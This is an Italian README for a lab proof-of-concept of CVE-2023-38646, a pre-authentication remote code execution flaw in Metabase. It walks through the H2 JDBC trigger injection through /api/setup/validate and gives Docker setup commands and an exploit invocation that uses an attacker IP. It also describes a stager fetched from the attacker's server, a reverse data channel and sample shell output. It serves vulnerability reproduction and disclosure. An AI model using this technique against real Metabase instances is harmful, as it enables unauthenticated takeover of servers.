
Il repository contiene il PoC e i passaggi per riprodurre cve 2023-38646
cd ~/metabase-poc cat > README.md << 'EOF'
CVSS 9.8. Le versioni di Metabase precedenti a 0.46.6.1 / 1.46.6.1 (e rami
precedenti equivalenti) espongono una RCE pre-autenticazione tramite l'endpoint
/api/setup/validate, progettato per convalidare i dettagli della connessione
al database durante la configurazione iniziale ma raggiungibile senza
autenticazione anche dopo che la configurazione è stata completata.
L'endpoint accetta un payload di connessione al database e, quando viene
specificato engine: h2 con una stringa di connessione JDBC manipolata,
consente di incorporare JavaScript arbitrario tramite la sintassi
CREATE TRIGGER ... AS $$//javascript di H2.
Il trigger viene eseguito al momento della convalida, fornendo all'attaccante
l'esecuzione di JavaScript all'interno della JVM — che scala facilmente
all'esecuzione di comandi del sistema operativo tramite
java.lang.Runtime.getRuntime().exec().
Il problema di fondo è che il motore del database H2 considera il codice incorporato nella stringa di connessione come parte della "convalida" di un'origine dati, combinato con il fatto che Metabase espone questo percorso di convalida senza autenticazione.
metabase/metabase:v0.46.6requests, termcolorEsegui Metabase vulnerabile:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # attendere "Metabase Initialization COMPLETE"
Installa le dipendenze dell'exploit:
pip3 install requests termcolor
/api/session/properties rilascia
un setup-token pensato per proteggere il flusso di configurazione iniziale
una tantum, ma rimane valido e utilizzabile anche dopo che la configurazione
è completa.java.lang.Runtime.getRuntime().exec() per recuperare uno stager bash dal
server HTTP dell'attaccante e restituire l'output del comando su un
listener TCP grezzo, codificato in base64.python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
-l — IP del callback dell'attaccante (gateway del bridge Docker quando il
target è un container locale, ad es. 172.17.0.1)-p — porta su cui il canale dei dati inverso si riconnette-P — porta del server HTTP locale che serve lo script stager-u — URL base del Metabase targetUna volta che il callback pre-autenticazione conferma la sfruttabilità, si
accede a un prompt interattivo metabase_shell >.
metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
Esecuzione del comando confermata come account di servizio metabase —
pre-autenticazione, nessuna credenziale richiesta. La gravità deriva dalla
RCE raggiungibile in rete con autenticazione zero, non dal livello di
privilegio della shell risultante.
Corretto in Metabase 0.46.6.1 / 1.46.6.1 e successive — l'endpoint
/api/setup/validate ora richiede che la configurazione sia effettivamente
incompleta e i token di configurazione vengono invalidati una volta che la
configurazione iniziale è terminata.
Solo per uso isolato in laboratorio. Non eseguire contro istanze Metabase che non possiedi o per le quali non hai esplicita autorizzazione al test. EOF